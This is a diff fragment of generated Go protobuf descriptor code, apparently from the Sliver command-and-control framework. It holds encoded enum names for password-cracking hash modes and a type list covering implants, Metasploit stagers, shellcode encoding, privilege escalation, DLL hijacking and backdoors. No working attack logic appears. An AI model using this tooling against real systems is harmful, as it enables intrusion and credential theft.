0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, - 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, - 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, - 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, - 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, - 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, - 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, - 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, - 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, - 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, - 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, - 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, - 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, - 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, - 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, - 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, - 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, - 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, - 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, - 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, - 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, - 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, + 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, + 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, + 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, + 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, + 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, + 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, + 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, + 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, + 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, + 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, + 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, + 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, + 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, + 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, + 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, + 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, + 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, + 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, + 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, + 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, + 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, + 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, + 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, + 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, + 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, + 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, + 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, + 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, + 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, + 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, + 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, + 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, + 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, + 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, + 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, + 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, + 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, + 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, + 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, + 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, + 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, + 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, + 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, + 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, + 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, + 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, + 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, + 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, + 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, + 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, + 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, + 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, + 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, + 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, + 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, + 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, + 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, + 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, + 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, + 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, + 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, + 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, + 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, + 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, + 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, + 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, + 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, + 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, + 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, + 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, + 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, + 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, + 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, + 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, + 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, + 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, + 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, + 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, + 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, + 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, + 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, + 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, + 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, + 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, + 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, + 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, + 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, + 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, + 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, + 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, + 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, + 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, + 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, + 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, + 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, + 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, + 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, + 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, + 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, + 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, + 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, + 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, + 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, + 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, + 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, + 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, + 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, + 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, + 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, + 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, + 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, + 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -11240,7 +11411,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte { } var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 12) -var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 114) +var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 116) var file_clientpb_client_proto_goTypes = []interface{}{ (OutputFormat)(0), // 0: clientpb.OutputFormat (StageProtocol)(0), // 1: clientpb.StageProtocol @@ -11276,206 +11447,210 @@ var file_clientpb_client_proto_goTypes = []interface{}{ (*CompilerTarget)(nil), // 31: clientpb.CompilerTarget (*CrossCompiler)(nil), // 32: clientpb.CrossCompiler (*Compiler)(nil), // 33: clientpb.Compiler - (*DeleteReq)(nil), // 34: clientpb.DeleteReq - (*DNSCanary)(nil), // 35: clientpb.DNSCanary - (*Canaries)(nil), // 36: clientpb.Canaries - (*UniqueWGIP)(nil), // 37: clientpb.UniqueWGIP - (*ImplantProfile)(nil), // 38: clientpb.ImplantProfile - (*ImplantProfiles)(nil), // 39: clientpb.ImplantProfiles - (*RegenerateReq)(nil), // 40: clientpb.RegenerateReq - (*Job)(nil), // 41: clientpb.Job - (*Jobs)(nil), // 42: clientpb.Jobs - (*KillJobReq)(nil), // 43: clientpb.KillJobReq - (*KillJob)(nil), // 44: clientpb.KillJob - (*MTLSListenerReq)(nil), // 45: clientpb.MTLSListenerReq - (*MTLSListener)(nil), // 46: clientpb.MTLSListener - (*WGListenerReq)(nil), // 47: clientpb.WGListenerReq - (*WGListener)(nil), // 48: clientpb.WGListener - (*DNSListenerReq)(nil), // 49: clientpb.DNSListenerReq - (*DNSListener)(nil), // 50: clientpb.DNSListener - (*HTTPListenerReq)(nil), // 51: clientpb.HTTPListenerReq - (*NamedPipesReq)(nil), // 52: clientpb.NamedPipesReq - (*NamedPipes)(nil), // 53: clientpb.NamedPipes - (*TCPPivotReq)(nil), // 54: clientpb.TCPPivotReq - (*TCPPivot)(nil), // 55: clientpb.TCPPivot - (*HTTPListener)(nil), // 56: clientpb.HTTPListener - (*Sessions)(nil), // 57: clientpb.Sessions - (*RenameReq)(nil), // 58: clientpb.RenameReq - (*GenerateReq)(nil), // 59: clientpb.GenerateReq - (*Generate)(nil), // 60: clientpb.Generate - (*MSFReq)(nil), // 61: clientpb.MSFReq - (*MSFRemoteReq)(nil), // 62: clientpb.MSFRemoteReq - (*StagerListenerReq)(nil), // 63: clientpb.StagerListenerReq - (*StagerListener)(nil), // 64: clientpb.StagerListener - (*ShellcodeRDIReq)(nil), // 65: clientpb.ShellcodeRDIReq - (*ShellcodeRDI)(nil), // 66: clientpb.ShellcodeRDI - (*MsfStagerReq)(nil), // 67: clientpb.MsfStagerReq - (*MsfStager)(nil), // 68: clientpb.MsfStager - (*GetSystemReq)(nil), // 69: clientpb.GetSystemReq - (*MigrateReq)(nil), // 70: clientpb.MigrateReq - (*CreateTunnelReq)(nil), // 71: clientpb.CreateTunnelReq - (*CreateTunnel)(nil), // 72: clientpb.CreateTunnel - (*CloseTunnelReq)(nil), // 73: clientpb.CloseTunnelReq - (*PivotGraphEntry)(nil), // 74: clientpb.PivotGraphEntry - (*PivotGraph)(nil), // 75: clientpb.PivotGraph - (*Client)(nil), // 76: clientpb.Client - (*Event)(nil), // 77: clientpb.Event - (*Operator)(nil), // 78: clientpb.Operator - (*WebContent)(nil), // 79: clientpb.WebContent - (*WebsiteAddContent)(nil), // 80: clientpb.WebsiteAddContent - (*WebsiteRemoveContent)(nil), // 81: clientpb.WebsiteRemoveContent - (*Website)(nil), // 82: clientpb.Website - (*Websites)(nil), // 83: clientpb.Websites - (*WGClientConfig)(nil), // 84: clientpb.WGClientConfig - (*Loot)(nil), // 85: clientpb.Loot - (*AllLoot)(nil), // 86: clientpb.AllLoot - (*IOC)(nil), // 87: clientpb.IOC - (*ExtensionData)(nil), // 88: clientpb.ExtensionData - (*Host)(nil), // 89: clientpb.Host - (*AllHosts)(nil), // 90: clientpb.AllHosts - (*DllHijackReq)(nil), // 91: clientpb.DllHijackReq - (*DllHijack)(nil), // 92: clientpb.DllHijack - (*BackdoorReq)(nil), // 93: clientpb.BackdoorReq - (*Backdoor)(nil), // 94: clientpb.Backdoor - (*ShellcodeEncodeReq)(nil), // 95: clientpb.ShellcodeEncodeReq - (*ShellcodeEncode)(nil), // 96: clientpb.ShellcodeEncode - (*ShellcodeEncoderMap)(nil), // 97: clientpb.ShellcodeEncoderMap - (*ExternalGenerateReq)(nil), // 98: clientpb.ExternalGenerateReq - 